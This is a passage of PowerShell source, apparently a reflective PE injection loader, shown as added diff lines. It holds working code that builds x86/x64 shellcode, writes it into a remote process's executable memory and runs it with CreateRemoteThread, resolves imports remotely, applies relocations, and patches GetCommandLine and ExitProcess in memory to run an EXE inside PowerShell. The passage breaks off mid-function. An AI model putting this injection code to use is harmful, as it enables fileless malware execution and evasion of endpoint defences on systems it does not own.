when to get by ordinal + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $ProcedureName = '' + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([Int64]$OriginalThunkRefVal -lt 0) + { + $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + 